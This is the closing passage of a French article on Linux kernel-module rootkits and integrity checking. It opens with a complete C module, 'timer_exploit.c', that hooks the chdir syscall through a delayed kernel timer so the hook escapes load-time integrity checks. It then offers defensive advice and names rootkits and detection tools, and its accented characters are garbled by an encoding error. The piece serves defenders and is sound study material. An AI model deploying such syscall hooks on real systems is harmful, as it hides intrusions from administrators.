/* timer_exploit.c par Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("Some sort of periodic checking could be a solution...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("Adding kernel timer...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("Syscall sys_chdir() should be modified in a few seconds\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }La solution envisag�e pour le moment est de lancer le test d'int�grit� de temps en temps, et non plus uniquement au (d�)chargement d'un module.
Conserver l'int�grit� d'un syst�me n'est pas chose ais�e. Bien que ces tests soient fiables en eux-m�mes, les moyens de les contourner sont nombreux. La seule solution est de ne faire confiance � rien lors de l'�valuation, et en particulier d�s lors qu'une intrusion est suspect�e. Le plus s�r est d'�teindre le syst�me, puis de rebooter sur un autre, sain, pour �valuer les dommages.
Les outils et m�thodes pr�sent�s dans cet article sont � double tranchant. Ils
servent aussi bien les int�r�ts du pirate que celui de l'administrateur. En
effet, comme nous l'avons vu avec le module rootshell
, il
permet aussi de contr�ler qui lance quoi.
Lorsque des tests d'int�grit� sont mis en place selon un politique pertinente, les root-kits classiques sont facilement d�tectables. L'apparition de ceux fond�s sur les modules rel�ve d'un nouveau d�fi. Des outils pour les contrer sont en cours de d�veloppement, tout comme ces modules d'ailleurs, qui n'ont pas encore atteint le maximum de leurs capacit�s. La s�curit� autour du noyau pr�occupe de plus en plus de personnes, � tel point que Linus a demand� � ce que les noyaux 2.5 int�grent un module charg� de la s�curit�. Ce revirement vient de la multiplication de patches applicables (Openwall, Pax, LIDS, kernelli, pour n'en citer que quelques uns).
Quoiqu'il en soit, souvenez-vous qu'une machine potentiellement compromise ne peut v�rifier sa propre int�grit�. Il ne faut faire confiance � aucun de ses programmes, ni aucune des informations qu'elle fournit.
adore
et knark
, les deux
lkm root-kits les plus connus ;kstat
qui explore /dev/kmem
;aide
(Advanced Intrusion Detection Environment) est un
petit mais efficace remplacement pour tripwire
,
compl�tement libre.